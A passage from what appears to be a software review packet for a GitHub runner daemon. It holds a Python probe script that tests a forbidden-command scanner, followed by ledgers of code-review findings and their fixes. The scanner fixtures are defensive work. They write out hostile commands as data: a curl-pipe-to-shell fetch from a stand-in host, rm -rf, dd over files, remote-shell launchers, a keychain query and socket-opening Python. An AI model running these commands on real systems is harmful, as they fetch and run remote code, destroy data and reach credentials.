alias.ship=GIT_ALIAS diff", True), + ("git-config-env-alias-equals", "git --config-env=alias.ship=GIT_ALIAS diff", True), + ("git-diff-no-ext-diff-safe", "git diff --no-ext-diff", False), + ("git-show-textconv", "git show --textconv HEAD:source.go", True), + ("git-show-no-textconv", "git show --no-textconv HEAD:source.go", False), + ("awk-system", "awk 'BEGIN { system(\"gh api repos/example/project\") }'", True), + ("awk-getline", "awk 'BEGIN { \"gh api repos/example/project\" | getline value }'", True), + ("awk-safe-print", "awk 'BEGIN { print \"safe\" }'", False), + ("rm-broad-cleanup", "rm -rf /tmp/reviewed-packet", True), + ("rm-owned-temp", "rm -rf \"$owned_tmp\"", True), + ("killall-broad", "killall runnerd", True), + ("pkill-broad", "pkill -f runnerd", True), + ("dd-destructive", "dd if=/dev/zero of=/tmp/reviewed-packet", True), + ("rmdir-broad", "rmdir /tmp/reviewed-packet", True), + ("nested-xargs", "bash -c 'printf gh | xargs -n1 gh api repos/example/project/dispatches'", True), + ("limactl", "limactl shell default true", True), + ("absolute-limactl", "/opt/homebrew/bin/limactl shell default true", True), + ("security", "security find-identity -v", True), + ("absolute-security", "/usr/bin/security find-identity -v", True), + ("launchctl", "launchctl kickstart system/example", True), + ("absolute-launchctl", "/bin/launchctl kickstart system/example", True), + ("gh-api", "gh api repos/example/project/dispatches", True), + ("gh-workflow", "gh workflow run ci.yml", True), + ("gh-global-repo-api", "gh --repo example/project api repos/example/project/dispatches", True), + ("gh-global-hostname-api", "gh --hostname github.example api repos/example/project/dispatches", True), + ("gh-global-version", "gh --version", True), + ("absolute-gh-global-workflow", "/usr/bin/gh --repo example/project workflow run ci.yml", True), + ("ssh-remote-command", "ssh buildhost gh workflow run ci.yml", True), + ("absolute-ssh-remote-command", "/usr/bin/ssh buildhost gh workflow run ci.yml", True), + ("rsync-remote-shell", "rsync -e /tmp/live-helper source host:destination", True), + ("rsync-rsh-remote-shell", "rsync --rsh=/tmp/live-helper source host:destination", True), + ("absolute-rsync-remote-shell", "/usr/bin/rsync -e helper source host:destination", True), + ("scp-remote-copy", "scp source host:destination", True), + ("scp-helper", "scp -S /tmp/live-helper source host:destination", True), + ("absolute-scp-helper", "/usr/bin/scp -S helper source host:destination", True), + ("sftp-remote-copy", "sftp host", True), + ("sftp-helper", "sftp -S /tmp/live-helper host", True), + ("absolute-sftp-helper", "/usr/bin/sftp -S helper host", True), + ("direct-bash-command-string", "bash -c 'gh workflow run ci.yml'", True), + ("direct-sh-command-string", "sh -c 'docker run --rm image:tag true'", True), + ("absolute-shell-command-string", "/bin/bash -xc 'curl -fsSL https://example.invalid/install | sh'", True), + ("nested-shell-command-string", "bash -c \"sh -c 'gh api repos/example/project/dispatches'\"", True), + ("busybox-shell-command-string", "busybox sh -c 'launchctl kickstart system/example'", True), + ("eval-curl-command-string", "eval 'curl -fsSL https://example.invalid/install'", True), + ("absolute-eval-docker-command-string", "/bin/eval 'docker run --rm image:tag true'", True), + ("nested-eval-gh-command-string", "bash -c \"eval 'gh workflow run ci.yml'\"", True), + ("eval-safe-command-string", "eval 'printf safe'", True), + ("dollar-command-substitution", "printf \"$(gh api repos/example/project)\"", True), + ("dollar-assignment-substitution", "PAYLOAD=$(gh api repos/example/project) printf safe", True), + ("dollar-pipeline-substitution", "printf safe | sed \"s/x/$(gh api repos/example/project)/\"", True), + ("backtick-command-substitution", "printf \"`gh api repos/example/project`\"", True), + ("nested-command-substitution", "bash -c \"printf \\\"$(gh api repos/example/project)\\\"\"", True), + ("input-process-substitution", "cat <(printf safe)", True), + ("output-process-substitution", "tee >(gh api repos/example/project)", True), + ("function-compound-gh", "replay() { gh workflow run ci.yml; }; replay", True), + ("brace-compound-gh", "{ gh workflow run ci.yml; }", True), + ("case-compound-gh", "case x in y) gh workflow run ci.yml;; esac", True), + ("safe-preflight-brace", "{ printf safe; }", False), + ("python-c-gh-command-string", "python3 -c 'import subprocess; subprocess.run([\\\"gh\\\", \\\"api\\\", \\\"x\\\"])'", True), + ("absolute-python-c-docker-command-string", "/usr/bin/python -c 'import os; os.system(\\\"docker run image:tag true\\\")'", True), + ("versioned-python-c-gh-command-string", "/opt/homebrew/bin/python3.12 -c 'import os; os.system(\\\"gh workflow run ci.yml\\\"); pass'", True), + ("env-python-c-command-string", "env python3 -c 'print(\\\"gh api x\\\")'", True), + ("parameter-expanded-executable", "runner=gh \\\"$runner\\\" workflow run ci.yml", True), + ("prose-url", "https://example.invalid/docker run image:tag", True), + ("comment", "# docker run --rm image:tag true", False), + ("scanner-source", 'forbidden = "docker run"', True), + ("synthetic-fixture", 'fixture = "env gh workflow run ci.yml"', True), +] +for label, fixture, expected in synthetic: + observed = any( + forbidden_command(segment) is not None + for segment in shell_token_segments(fixture) + ) + if observed != expected: + raise SystemExit(f"synthetic forbidden-command probe failed: {label}") +safe_heredoc = "import subprocess\nsubprocess.run(command)\n" +if inspect_python_heredoc(safe_heredoc, True) is None: + raise SystemExit("dynamic marked Python heredoc was accepted") +for unsafe_heredoc in ( + 'import subprocess\nsubprocess.run(["gh", "api", "x"])\n', + 'import os\nos.system("docker version")\n', + 'import subprocess as sp\nsp.run(["gh", "api", "x"])\n', + 'import subprocess\nlaunch = subprocess.run\nlaunch(["gh", "api", "x"])\n', + 'import subprocess\ngetattr(subprocess, "run")(["gh", "api", "x"])\n', + 'import os\nos.__dict__["system"]("docker version")\n', + 'import subprocess\ngetattr(subprocess, launcher_name)(command)\n', + 'import os\nos.__dict__[launcher_name](command)\n', + 'from subprocess import run\nrun(["gh", "api", "x"])\n', + 'from os import system\nsystem("docker version")\n', + 'import subprocess\nsubprocess.getoutput("gh workflow run ci.yml")\n', + 'import subprocess\nsubprocess.getstatusoutput("gh workflow run ci.yml")\n', + 'import urllib.request\nurllib.request.urlopen("https://example.invalid")\n', + 'from requests import get\nget("https://example.invalid")\n', + 'import socket\nsocket.create_connection(("example.invalid", 443))\n', + 'import pty\npty.spawn(["gh", "api", "x"])\n', + 'import os\nos.execvp("gh", ["gh", "workflow", "run", "ci.yml"])\n', + 'import synthetic as launcher\nlauncher.getoutput(command)\n', +): + if inspect_python_heredoc(unsafe_heredoc, False) is None: + raise SystemExit("unsafe Python heredoc was accepted") +print("forbidden-live-command synthetic probes: passed; direct/wrapped fetcher, every gh invocation including global-flag and absolute forms, every Docker invocation, ssh/rsync/scp/sftp remote-copy launchers, command-delegating xargs/find/parallel/make forms, Git difftool/mergetool, --extcmd/--tool/--ext-diff, GIT_EXTERNAL_DIFF, diff.external and --config-env alias delegation forms, env split-string/operand forms, unsupported function/brace/case compounds, shell substitutions/process substitutions, limactl/security/launchctl, eval, AST-inspected safe/unsafe Python heredocs including versioned -c/getoutput/getstatusoutput/execvp/pty.spawn, getattr/__dict__ indirect launchers and unresolved launcher aliases, parameter-expanded executables, and direct/nested bash/sh -c forms rejected; prose/URLs/comments/scanner source/fixtures ignored") +print("forbidden-live-command boundary probes: passed; dynamic safe-marker commands, awk system/getline, network-capable Python urllib/requests/socket, Git --textconv, rm cleanup and broad kill/dd forms rejected while literal safe boundaries remain accepted") +print("forbidden-live-command scan: passed; executable shell prescriptions contain no forbidden live App/runner/Docker/Lima/Keychain/launchd/workflow/fetch command") +PY +``` + +The forbidden-live-command scan and its static synthetic probes exited 0; all +direct, wrapped and command-delegating forms were rejected without execution, +including xargs, find, parallel, make and rsync remote-shell forms that could +otherwise hide a downstream `gh`/live command, while prose, URLs, comments, scanner source and +fixtures were ignored. No live operation, workflow replay, credential access +or destructive cleanup command was introduced. + +No check is claimed against an unrecorded SHA. The staged correction diff is +distinct from the cumulative PR #78 diff; the cumulative history still +includes the independent driver correction from +`7ce053380003c9260f46bf93ea118893b95f01e7` and team-review routing corrections +from `f59a30532bfdc62876065dcf8b4997520606e6a6`, which remain outside this +staged change. + +## Historical Codex finding ledger + +The following stale/outdated root findings were omitted from the earlier +correction paragraphs. Each row preserves the original finding URL and the +immutable source commit where Codex observed it; disposition cites the packet +change that reproduced and fixed the gap, not staleness alone. The residual +selector-matching finding is resolved by the reusable wrapper above, which now +guards every runnable long selector before executing its original command. + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [3998925786](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925786), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: the root-only JIT rerun omitted worker transport. The packet now includes worker-runtime and tagged worker-command selectors; the wrapper validates their package/tag name sets before execution. | +| [3998925788](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925788), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: the non-terminal paired command excluded every terminal test. The packet now prescribes collection, all-except, worker, heavy, remainder and storage partitions, each guarded by list validation. | +| [3998925790](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925790), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: inline selector pipes could split the ledger table. Commands remain outside the ten-row ledger, and the recorded shape check requires ten data rows with four columns. | +| [3998925793](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925793), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: the earlier driver blob contradicted ACK-before-acquisition. The evidence index now points to the corrected driver revision 0e08ce8285846e26a94fb6fcb33bbeede662bf14. | +| [3998925795](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998925795), source [0e08ce8285846e26a94fb6fcb33bbeede662bf14](https://github.com/1XP-AI/gh-runnerd/commit/0e08ce8285846e26a94fb6fcb33bbeede662bf14) | Reproduced: callback-loss reruns omitted the missing-callback and error/quarantine cases. The ACK root selector now names all three recovery tests and the wrapper checks the resulting set/count. | +| [3998973873](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998973873), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: root-only ACK reruns omitted driver ACK/acquisition checks. The livecanary ACK selector now includes the driver and refusal contracts, with pre-run set/count validation. | +| [3998973876](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998973876), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: worker-only JIT reruns omitted controller JIT-loss probes. The livecanary JIT selector now names both controller cases and is guarded before execution. | +| [3998973877](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3998973877), source [40daf0f074b9cc9559135adac1cafaad218275be](https://github.com/1XP-AI/gh-runnerd/commit/40daf0f074b9cc9559135adac1cafaad218275be) | Reproduced: the reconciliation prefix omitted retained-uncertainty predicates. The quarantine selector now explicitly includes all named predicates, with count/set validation. | +| [3999010977](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010977), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: valid singleton cases did not reject foreign or multi-job messages. The ACK/livecanary selector now includes both refusal tests and validates their presence before running. | +| [3999010981](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010981), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: the image/profile row selected only one worker test. The worker-runtime selector now includes profile, update-policy and Docker-preflight contracts, guarded by the wrapper. | +| [3999010985](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010985), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: retained-uncertainty cases were absent from both reconciliation commands. The quarantine selector now includes observed-job, unexpected-work, later-absence and persistence-failure cases. | +| [3999010989](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010989), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: the baseline-only command omitted global admission checks. The packet now has explicit controller and worker admission selectors, including cross-directory and concurrent-start cases. | +| [3999010990](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010990), source [9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999](https://github.com/1XP-AI/gh-runnerd/commit/9d07f3ccbbf4ff2a80aaa5ff43f376cb2b3da999) | Reproduced: SDK session-refresh behavior was omitted from the ACK selector. The root selector now includes TestSDKHTTPFailuresAndSessionRefresh and validates the exact set. | +| [3999060310](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999060310), source [60fdefe124d7c83ad54eac36950cb574f7e0c9aa](https://github.com/1XP-AI/gh-runnerd/commit/60fdefe124d7c83ad54eac36950cb574f7e0c9aa) | Reproduced: demand and stale-statistics tests were absent from the SDK rerun. The root selector now names both cases and the wrapper checks count and set before running. | +| [3999208511](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999208511), source [cdaf879fed807da517ab88ea5db3dba6e99a948e](https://github.com/1XP-AI/gh-runnerd/commit/cdaf879fed807da517ab88ea5db3dba6e99a948e) | Reproduced: the tagged controller command was missing. The packet now prescribes the ten tagged cmd/g01-live input/refusal checks with fail-closed validation. | +| [3999208514](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999208514), source [f59a30532bfdc62876065dcf8b4997520606e6a6](https://github.com/1XP-AI/gh-runnerd/commit/f59a30532bfdc62876065dcf8b4997520606e6a6) | Reproduced: tagged worker JIT input checks were absent. The packet now includes the g01_worker command and expected set/count guard. | +| [3999208519](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999208519), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: worker journal/authority tests were omitted. The liveworker reconciliation selector now names those durability contracts and validates them before execution. | +| [3999433329](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433329), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: worker admission contracts were not explicit. The worker admission selector now covers the integrity suite and the tagged unsupported-account case, with wrapper validation. | +| [3999433330](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433330), source [080b9c29c0c056dffd03f54567b593a426a1909d](https://github.com/1XP-AI/gh-runnerd/commit/080b9c29c0c056dffd03f54567b593a426a1909d) | Reproduced: controller update-policy contracts were absent. The livecanary update-policy selector now includes disable-update, unconfirmed-setting and drift cases. | +| [3999433331](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433331), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: uncertainty and cleanup contracts were omitted from the worker selector. The worker-runtime command now includes uncertain-start, active/unknown retention and terminal-removal cases. | +| [3999433334](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433334), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: scheduled reconciliation was stated too much like implemented behavior. The packet now labels scheduling, fencing and rehydration as future production requirements and preserves the live gap. | +| [3999433335](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999433335), source [9dea03887cc530f742e705055064579121a84206](https://github.com/1XP-AI/gh-runnerd/commit/9dea03887cc530f742e705055064579121a84206) | Reproduced: broad rollback could revert independent corrections. The rollback row now scopes removal/restoration to this packet and preserves driver and routing corrections. | + +### Supplemental stale/outdated root findings + +These eight root findings were received after the historical 22-row ledger was +recorded. Each row retains the discussion URL and immutable source commit; +disposition cites the packet selector or source text that reproduces the issue +and its correction, rather than relying on staleness alone. + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [3999099702](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999099702), source [40daf0f074b9cc9559135adac1cafaad218275be](https://github.com/1XP-AI/gh-runnerd/commit/40daf0f074b9cc9559135adac1cafaad218275be) | Reproduced: the admission selector omitted `TestAuditPR25DistinctStateDirectoriesMustShareCap`. The packet's admission-livecanary selector now names that cross-directory cap regression, with wrapper list/set/count validation before execution. | +| [3999099708](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999099708), source [40daf0f074b9cc9559135adac1cafaad218275be](https://github.com/1XP-AI/gh-runnerd/commit/40daf0f074b9cc9559135adac1cafaad218275be) | Reproduced: the reconciliation selectors omitted `TestDemandStatisticsAllowControlledProbeButNeverCleanup`. The packet now includes that demand-statistics quarantine contract in the reconciliation and quarantine selectors, with exact list/set/count validation. | +| [3999140786](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140786), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: reconciliation selectors omitted the four `TestInventory*` contracts. The packet now names `TestInventoryStrictPages`, `TestInventoryMalformedStopsLegacyEffects`, `TestInventoryTransportRefusalIsBoundedAndSanitized` and `TestInventoryImpossibleTotalStopsBeforeNextPage` in the exact reconciliation selector and audit. | +| [3999140787](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140787), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: the ACK selector omitted `TestNoMessageDoesNotCountAsCompletedBarrier`. The packet now includes this empty-poll barrier contract in the exact ACK/livecanary selector and list-only audit. | +| [3999140792](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140792), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: the secret/error selector omitted decoded-body truncation and gzip-budget checks. The packet now includes `TestResponseReaderConsumesOnlyBudgetPlusOneAndRejectsTruncation` and `TestResponseBudgetAppliesAfterGzipDecompression` in the livecanary selector. | +| [3999140797](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140797), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: journal/authority selectors omitted strict duplicate-field, failed-sync, unrecorded-authority and renewed-approval contracts. The packet now includes the named livecanary and liveworker journal/authority cases in the reconciliation partitions and audits their exact sets. | +| [3999140800](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140800), source [65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc](https://github.com/1XP-AI/gh-runnerd/commit/65071cfb1e8ad0f47ab7e09dd119f1c98beaaefc) | Reproduced: the tagged controller command did not exercise the livecanary credential-attestation and plaintext/off-host transport refusals. The packet now includes `TestCredentialAttestationMismatchAndExpiredTokenRejected` and `TestTransportRejectsPlaintextOffHostAndProxyBeforeNetwork` in the live-transport selector. | +| [3999140806](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999140806), source [9b94ff9f3114e5546abbe741b96486c3bc13626c](https://github.com/1XP-AI/gh-runnerd/commit/9b94ff9f3114e5546abbe741b96486c3bc13626c) | Reproduced against the immutable source: `docs/reviews/team-review.md` already marks the Astra assignments historical-only and routes current work through `docs/EXECUTION.md`; the correction was made by `f59a30532bfdc62876065dcf8b4997520606e6a6`. This stale finding is outside packet-only ownership, so no other file is changed here. | + +### Current exact-head GOWORK findings + +The two Codex findings on the exact prior packet head +[`c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae`](https://github.com/1XP-AI/gh-runnerd/commit/c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae) +were reproduced and corrected here; neither is treated as resolved by +staleness alone: + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [4000590180](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000590180), source [c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae](https://github.com/1XP-AI/gh-runnerd/commit/c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae) | Reproduced: inherited `GOWORK` could select an external workspace/replacement while the wrapper was resolving package metadata. Corrected: after parsing environment assignments, the wrapper forces `GOWORK=off` in one Go-child environment before `go env`, `go list`, either `go test -list` probe or the JSON test subprocess, so caller workspaces are ignored before metadata selection. | +| [4000590184](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000590184), source [c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae](https://github.com/1XP-AI/gh-runnerd/commit/c550adcb2ca6532e2c69cbb6ad8d2aafd5e352ae) | Reproduced: inherited `GOWORK` could alter list or execution behavior after metadata validation. Corrected: the independent selector and package-init audits also pin `GOWORK=off`; a read-only synthetic inherited-workspace probe injected an external sentinel and observed `GOWORK=off` on all three direct metadata/list children before accepting the list-only result. No test body, live resource or external workspace was used. | + +### Current exact-head Go overlay finding + +The Codex finding on the exact prior packet head +[`44a2142adab39bba73fc93965fa003ed17506d92`](https://github.com/1XP-AI/gh-runnerd/commit/44a2142adab39bba73fc93965fa003ed17506d92)—[4000667752](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000667752)—was reproduced and corrected here; it is not treated as resolved by a new head or staleness alone: + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [4000667752](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000667752), source [44a2142adab39bba73fc93965fa003ed17506d92](https://github.com/1XP-AI/gh-runnerd/commit/44a2142adab39bba73fc93965fa003ed17506d92) | Reproduced: the guarded wrapper accepted Go `-overlay` build overrides, allowing a caller-supplied overlay to change the source/build inputs after the wrapper's reviewed-tree assumptions. Corrected: immediately after parsing command-prefix assignments and validating `go test`, the wrapper rejects both separated `-overlay FILE` and equals-form `-overlay=FILE` before the first `go env`, metadata, list or test child. The focused synthetic regression patched direct Go-child launches, required both forms to reject with empty pre-guard output, and therefore recorded no test body or result; no live operation, secret, private path or overlay file was used. | + +### Current exact-head Go alternate-module-file finding + +The Codex finding on the exact prior packet head +[`5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038`](https://github.com/1XP-AI/gh-runnerd/commit/5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038)—[4000712999](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000712999)—was reproduced and corrected here; it is not treated as resolved by a new head or staleness alone: + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [4000712999](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000712999), source [5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038](https://github.com/1XP-AI/gh-runnerd/commit/5a5a4e97e0fbd2a9dca0d9f085003d7ce7e65038) | Reproduced: the guarded wrapper rejected Go `-overlay` overrides but still accepted `-modfile`, allowing a caller-supplied alternate module file to change the module graph and dependency/build inputs after the wrapper's reviewed-tree assumptions. Corrected: immediately after parsing command-prefix assignments and validating `go test`, the wrapper rejects both separated `-modfile FILE` and equals-form `-modfile=FILE` before the first `go env`, metadata, list or test child. The focused synthetic no-Go-child regression patched direct Go-child launches, required both forms to reject with empty pre-guard output, and therefore recorded no test body or result; no live operation, secret, private path or alternate module file was used. | + +### Current exact-head selector-audit findings + +The two Codex findings on exact prior packet head +[`2a054740580a0ed4872742d39308d373300b6e5e`](https://github.com/1XP-AI/gh-runnerd/commit/2a054740580a0ed4872742d39308d373300b6e5e)— +[4000760151](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760151) +and [4000760154](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760154)— +were reproduced and corrected here; neither is treated as resolved by a new +head or staleness alone: + +| Finding and immutable source | Reproduction and disposition | +|---|---| +| [4000760151](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760151), source [2a054740580a0ed4872742d39308d373300b6e5e](https://github.com/1XP-AI/gh-runnerd/commit/2a054740580a0ed4872742d39308d373300b6e5e) | Reproduced: the prior static selector regex required assignments to be followed directly by `go test`, so a standard `env GOTOOLCHAIN=go1.26.8 go test ... -run ...` could evade discovery while the wrapper's generic command-shape rejection was not part of the audit. Corrected: static shell and logical-command audits now discover prefixed `env` forms, including continued and option-bearing forms, while the wrapper and package/build metadata audit explicitly reject an `env` command before any Go child. Focused synthetic red-before-green probes proved unguarded env-wrapped selectors are discovered/rejected and patched direct Go-child launches to require both env forms to fail with no result output; no Go test body, live operation, credential or private path was used. | +| [4000760154](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000760154), source [2a054740580a0ed4872742d39308d373300b6e5e](https://github.com/1XP-AI/gh-runnerd/commit/2a054740580a0ed4872742d39308d373300b6e5e) | Reproduced: the prior wrapper parsed only single-dash `-run`/`-skip`, so a later equivalent `--run`/`--skip` could expand the actual selector after a narrower list digest had passed. Corrected: wrapper and metadata validation reject separated and equals-form `--run`/`--skip` before `go env`, metadata or list execution, and static selector discovery recognizes both dash widths. Focused synthetic red-before-green probes covered all four double-dash forms, patched direct Go-child launches, required empty pre-guard output and therefore recorded no test body or result; no live operation or secret-bearing input was used. | + +The two new exact-head findings +on `95cd9210620c54e098ecbe0df1217af1659f0c74`—[3999634756](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999634756) +and [3999634759](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999634759)—are +covered by the controller-side `TestAmbiguousCreateNeverRetriesAfterRestart` +entry in the livecanary reconciliation selector and the seven direct liveworker +runtime contracts in the worker selector, with matching list-only/declaration/tag +checks above. The five new exact-head findings +on `4a4e159ce29414fa8e5bdf7a0d0e5d9b8d038c67`—[3999599127](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599127), +[3999599130](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599130), +[3999599132](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599132), +[3999599134](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599134), +and [3999599136](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599136)—are covered by the explicit liveworker Docker-inspection and worker-preparation selectors, the suffixed livecanary reconciliation families, and the matching list-only/declaration checks above. +The prior five exact-head findings +on `080b9c29c0c056dffd03f54567b593a426a1909d`—[3999566558](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566558), +[3999566563](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566563), +[3999566567](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566567), +[3999566570](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566570), +and [3999566571](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566571)—are covered by the worker/runtime and canonical-preparation selectors, the tagged livecanary invocation, and the explicit Runner pin/source-audit gate above. +The prior four exact-head +findings [3999532146](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532146), +[3999532149](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532149), +[3999532151](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532151), +and [3999532158](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532158) +are covered by these selector, partition, and validation-scope corrections. +The prior six exact-head findings [3999486217](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486217), +[3999486223](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486223), +[3999486229](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486229), +[3999486231](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486231), +[3999486236](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486236), +and [3999486239](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486239) +remain covered by the existing selector and partition corrections. The +three exact-head findings on `c4b73c75db9556f96491fb8a10a8257408a7d11b`— +[3999807788](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999807788), +[3999807790](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999807790), +and [3999807791](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999807791)—are +addressed by the literal selector expected-set/count audit, its list-only +root-safe invocation, and the scoped tracked/untracked source audit above. +The historical [secret/error finding 3999010986](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010986) +remains addressed by the dedicated Secret and error handling row and its root +and livecanary commands above; no issue, Project, or Goal state is changed. + +### Current exact-head P2 findings at `36ec84b27c934a25484b0a5391af0a20c7643912` + +The three fresh Codex P2 findings on the exact PR #78 head named in this +correction were reproduced before editing and are addressed below. Their +reproductions and focused checks are packet-local static/wrapper evidence; no +GitHub review metadata is edited here, and no finding is marked resolved by +head movement alone. + +| Finding | Red reproduction and minimal correction | Focused result and boundary | +|---|---|---| +| Pre-Go-child selector guard omitted Go `-toolexec` separated and equals forms. | Before the correction, the wrapper had no `-toolexec` rejection, so synthetic `-toolexec FILE` and `-toolexec=FILE` inputs could reach the first Go 